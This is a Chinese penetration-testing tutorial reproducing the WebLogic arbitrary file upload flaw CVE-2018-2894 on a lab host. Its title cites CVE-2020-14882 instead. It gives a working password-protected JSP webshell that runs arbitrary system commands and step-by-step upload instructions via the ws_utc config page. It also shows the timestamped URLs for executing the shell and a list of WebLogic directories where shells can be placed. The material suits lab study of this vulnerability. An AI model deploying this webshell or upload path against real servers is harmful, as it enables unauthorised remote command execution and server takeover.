渗透测试系列:weblogic文件路径确认(cve-2020-14882)
weblogic文件路径确认
一. Weblogic任意文件上传漏洞(CVE-2018-2894)
漏洞复现
1. 开启burp,寻找时间戳
打开burp
内嵌浏览器
1.访问http://192.168.42.157:7001/ws_utc/config.do,将Work Home Dir替换成
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
ws_utc应用的静态文件css目录是无需访问权限的,而默认的工作目录即使上传成功,也无法访问。 如果不更改,访问会返回404
然后点击提交
2.点击安全–>添加,然后名字和密码随便写,点击浏览,将自己的webshell上传上去
这里用shell.jsp,代码如下:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
3. 获得时间戳
时间戳
的主要 目的
在于通过一定的技术手段,对数据产生的时间进行认证,从而验证这段数据在产生后是否经过篡改
方式一:
方式二
点击链接右键即可
4. 查看上传的shell文件
burp目录下面没有没事,
访问http://192.168.42.157:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell
http://192.168.42.157:7001/ws_utc/css/config/keystore/1705034868556_shell.jsp?pwd=023&i=ls
http://192.168.42.157:7001/ws_utc/css/config/keystore/1705034868556_shell.jsp
可看到成功上传webshell,这里127.0.0.1:90是因为我做了端口映射
注意:
1.为什么要替换Work Home Dir?
因为我们需要一个可以访问的路径,当前的工作目录是不能被外网访问到的,开始页面提示自动部署应用后跳转到后台管理页面,这个我们修改的Work Home Dir就是部署的web应用的目录,该目录外网可以访问到,并且不需要权限,外网访问它里面的文件就是http://your-ip:7001/ws_utc/css/文件名
2.为什么访问路径要这么写?
因为前面设置了工作目录为ws_utc
应用的静态文件css目录
,该目录是无需权限的,后面的路径是调试java代码
出的路径
访问路径
http://192.168.42.157:7001/ws_utc/css/shell.jsp
这里的上传路径为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/shell.jsp
总结
目前已经确定了两种上传方式
前提
访问http://192.168.42.157:7001/ws_utc/config.do
,将Work Home Dir
替换成
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
一种是
-
访问
http://192.168.42.157:7001/ws_utc/config.do
中的安全
,添加用户名
、密码
、shell文件
-
添加的同时需要
F12
或brup
捕获 -
查看时间戳
-
访问
http://192.168.42.157:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell -
进入dokcer容器里面并没看到这个shell文件
另外一种是
用weblogic利用工具直接上传
这里的上传路径为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/shell.jsp
访问路径为
http://192.168.42.157:7001/ws_utc/css/shell.jsp
这种方式在docker容器里面可以看到对应的shell文件
后题
二. weblogic文件上传路径
将shell写到uddiexplorer目录
uddiexplorer目录上传shell
/u01/domains/osb/servers/AdminServer/tmp/_WL_internal/uddiexplorer/随机字符/war/666.jsp
shell 访问
http://xxxx/uddiexplorer/shell.jsp
将shell写到images目录
上传目录
/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp
访问目录
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
将shell写到应用安装目录
上传目录
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问目录
http://*.*.*.*:7001/项目名/shell.jsp